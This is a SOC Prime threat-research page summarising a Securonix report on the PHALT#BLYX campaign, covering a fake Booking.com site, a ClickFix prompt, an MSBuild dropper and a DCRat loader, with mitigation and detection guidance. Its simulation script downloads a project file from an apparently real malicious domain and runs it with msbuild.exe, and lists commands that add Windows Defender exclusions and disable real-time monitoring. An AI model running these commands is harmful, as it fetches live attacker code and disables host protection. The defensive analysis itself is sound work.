SOC Prime Bias: Medium

06 Jan 2026 19:06
newspaper icon Securonix

PHALT#BLYX Analysis: Fake BSODs and Trusted Build Tools in Malware Chains

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
PHALT#BLYX Analysis: Fake BSODs and Trusted Build Tools in Malware Chains
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query


Summary

The report details a multi-stage intrusion chain impacting the hospitality sector that combines a fake Booking.com landing page, a misleading blue-screen-style animation, and a ClickFix-style prompt to persuade users to execute a PowerShell dropper. That dropper retrieves an MSBuild project file, which runs a tailored DCRat loader. The loader tampers with Windows Defender, sets persistence using a Startup .url shortcut, and injects its payload into legitimate processes. By leaning on living-off-the-land utilities like PowerShell and MSBuild.exe, the operators reduce obvious malware footprints. Russian-language artifacts in the chain are also noted as an attribution clue.

Investigation

Securonix researchers mapped the flow from phishing emails offering “reservation cancellation” links to a malicious domain, then to a PowerShell one-liner that locates msbuild.exe, downloads a v.proj file, and executes it. The v.proj project performs multiple actions: it adds Windows Defender exclusions, pulls down staxs.exe (a DCRat variant), creates a Startup .url shortcut for persistence, and connects to command-and-control infrastructure over port 3535. The loader then compresses and injects the final stage into aspnet_compiler.exe, using process hollowing to blend into legitimate activity.

Mitigation

Reduce exposure by training users to recognize ClickFix-style prompts and “run this command to fix” social engineering. Monitor and restrict MSBuild.exe execution—especially when invoked from unusual paths or user-driven workflows—and enable PowerShell script block logging for better visibility. Add detections for Startup-folder .url shortcut creation and for modifications to Windows Defender exclusions. At the network layer, block outbound traffic to the identified malicious domains and explicitly restrict or alert on suspicious egress to TCP/3535 where it is not required.

Response

If activity is detected, isolate the host and preserve key artifacts including v.proj, staxs.exe, and any Startup .url files. Remove unauthorized Defender exclusions, terminate malicious or injected processes, and block associated C2 domains/IPs—particularly any communications over port 3535. Reset potentially exposed credentials, run a full malware scan, and scope the environment for similar MSBuild-driven execution and PowerShell command patterns. Finally, deploy threat-intel-informed detections that focus on MSBuild abuse, ClickFix behavior, and persistence via Startup shortcuts to prevent recurrence.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef file fill:#e6e6e6 classDef folder fill:#d9ead3 %% Nodes u2013 Actions action_phishing["<b>Action</b> – <b>T1566.002 Spearphishing Link</b><br/><b>Description</b>: Victim receives an email that appears to be from Booking.com and clicks a malicious link to a fake booking site."] class action_phishing action action_user_execution["<b>Action</b> – <b>T1204.001 User Execution</b> & <b>T1204.004 Malicious Copyu2011Paste</b><br/><b>Description</b>: The fake site shows a BSODu2011like page that tells the user to paste a PowerShell command into the Run dialog."] class action_user_execution action action_defense_evasion_exclusions["<b>Action</b> – <b>T1562 Impair Defenses</b> & <b>T1564.012 File/Path Exclusions</b><br/><b>Description</b>: The v.proj script adds Windows Defender exclusions for ProgramData and common executable extensions."] class action_defense_evasion_exclusions action action_persistence_shortcut["<b>Action</b> – <b>T1547.009 Shortcut Modification</b><br/><b>Description</b>: Creates an Internet Shortcut (.url) in the useru2019s Startup folder that points to the dropped executable."] class action_persistence_shortcut action action_process_hollowing["<b>Action</b> – <b>T1055.012 Process Hollowing</b><br/><b>Description</b>: Injects the final DCRat payload into aspnet_compiler.exe using process hollowing."] class action_process_hollowing action action_reflective_loading["<b>Action</b> – <b>T1620 Reflective Code Loading</b><br/><b>Description</b>: Loads additional DLL payloads reflectively via Assembly.Load."] class action_reflective_loading action action_c2_nonstandard_port["<b>Action</b> – <b>T1571 Nonu2011Standard Port</b><br/><b>Description</b>: RAT communicates with C2 servers over TCP port 3535."] class action_c2_nonstandard_port action action_c2_dynamic_resolution["<b>Action</b> – <b>T1568 Dynamic Resolution</b><br/><b>Description</b>: Resolves multiple C2 domains (e.g., asj77.com) at runtime."] class action_c2_dynamic_resolution action action_obfuscation["<b>Action</b> – <b>T1027.005 Obfuscated Files or Information</b><br/><b>Description</b>: Payloads are heavily obfuscated and packed to evade static detection."] class action_obfuscation action %% Nodes u2013 Tools tool_powershell["<b>Tool</b> – <b>T1059.001 PowerShell</b><br/><b>Description</b>: Executes the malicious command that downloads the MSBuild project file."] class tool_powershell tool tool_msbuild["<b>Tool</b> – <b>T1127.001 MSBuild</b><br/><b>Description</b>: Trusted developer utility used to compile and execute the malicious v.proj file."] class tool_msbuild tool tool_aspnet_compiler["<b>Tool</b> – aspnet_compiler.exe<br/><b>Description</b>: Legitimate .NET compiler targeted for process hollowing."] class tool_aspnet_compiler process %% Nodes u2013 Malware / Files malware_vproj["<b>Malware</b> – v.proj (malicious MSBuild project)<br/><b>Description</b>: Downloaded by PowerShell, compiled by MSBuild, adds defender exclusions and drops payload."] class malware_vproj malware malware_dcrat["<b>Malware</b> – DCRat payload<br/><b>Description</b>: Final remote access trojan injected into aspnet_compiler.exe."] class malware_dcrat malware file_shortcut["<b>File</b> – Startup shortcut (.url)<br/><b>Description</b>: Points to the dropped DCRat executable and ensures autou2011run on login."] class file_shortcut file folder_startup["<b>Folder</b> – Startup directory<br/><b>Description</b>: Contains the malicious shortcut causing persistence."] class folder_startup folder file_dcrat_exe["<b>File</b> – Dropped DCRat executable<br/><b>Description</b>: Executed after shortcut activation."] class file_dcrat_exe file dll_payloads["<b>File</b> – Additional DLL payloads<br/><b>Description</b>: Loaded reflectively by the DCRat payload."] class dll_payloads file port_3535["<b>Network</b> – TCP port 3535<br/><b>Description</b>: Used for C2 communication."] class port_3535 file domain_asj77["<b>Network</b> – asj77.com (C2 domain)<br/><b>Description</b>: Resolved at runtime for command and control."] class domain_asj77 file %% Connections u2013 Flow action_phishing –>|leads to| action_user_execution action_user_execution –>|executes| tool_powershell tool_powershell –>|downloads| malware_vproj malware_vproj –>|compiled by| tool_msbuild tool_msbuild –>|executes| malware_vproj malware_vproj –>|adds| action_defense_evasion_exclusions action_defense_evasion_exclusions –>|creates| file_shortcut file_shortcut –>|placed in| folder_startup folder_startup –>|loads| file_dcrat_exe malware_vproj –>|drops| file_dcrat_exe file_dcrat_exe –>|runs| malware_dcrat malware_dcrat –>|injects into| tool_aspnet_compiler tool_aspnet_compiler –>|hollowed by| malware_dcrat malware_dcrat –>|loads reflectively| dll_payloads malware_dcrat –>|communicates via| action_c2_nonstandard_port action_c2_nonstandard_port –>|uses| port_3535 malware_dcrat –>|uses dynamic resolution| action_c2_dynamic_resolution action_c2_dynamic_resolution –>|resolves to| domain_asj77 malware_dcrat –>|obfuscated by| action_obfuscation "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:
    The threat actor opens a PowerShell session on a compromised endpoint. They first locate the system’s msbuild.exe binary, then download a malicious MSBuild project (v.proj) to C:ProgramData. The attacker immediately invokes msbuild.exe to execute the payload, which drops a second stage. Finally, they tamper with Windows Defender by adding exclusions and disabling real‑time monitoring to ensure persistence.

  • Regression Test Script:

    # PHALT#BLYX simulation script – reproduces detection‑triggering activity
# --------------------------------------------------------------
# 1. Locate msbuild.exe
$msb = (Get-ChildItem -Path C: -Filter msbuild.exe -Recurse -ErrorAction SilentlyContinue | Select-Object -First 1).FullName

# 2. Download malicious MSBuild project to ProgramData
$projUrl = "https://2fa-bns.com/v.proj"
$dest    = "$env:ProgramDatav.proj"
Invoke-WebRequest -Uri $projUrl -OutFile $dest

# 3. Execute the project with msbuild.exe
& $msb $dest

# 4. Modify Windows Defender settings (any one of the following will satisfy the rule)
#    Uncomment the desired lines to simulate the attacker’s actions.

# Add exclusion path
# Add-MpPreference -ExclusionPath "$env:ProgramData"

# Add exclusion for .exe files
# Add-MpPreference -ExclusionExtension ".exe"

# Add exclusion for .ps1 files
# Add-MpPreference -ExclusionExtension ".ps1"

# Disable real‑time monitoring
# Set-MpPreference -DisableRealtimeMonitoring $true

  • Cleanup Commands:

    # Remove the dropped project file
Remove-Item -Path "$env:ProgramDatav.proj" -Force -ErrorAction SilentlyContinue

# Restore Windows Defender real‑time monitoring (if it was disabled)
Set-MpPreference -DisableRealtimeMonitoring $false

# Remove any added exclusions (example for path exclusion)
Remove-MpPreference -ExclusionPath "$env:ProgramData"

# Optionally delete any lingering files created by the payload
# Remove-Item -Path "C:ProgramDatamalicious_payload.exe" -Force -ErrorAction SilentlyContinue

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free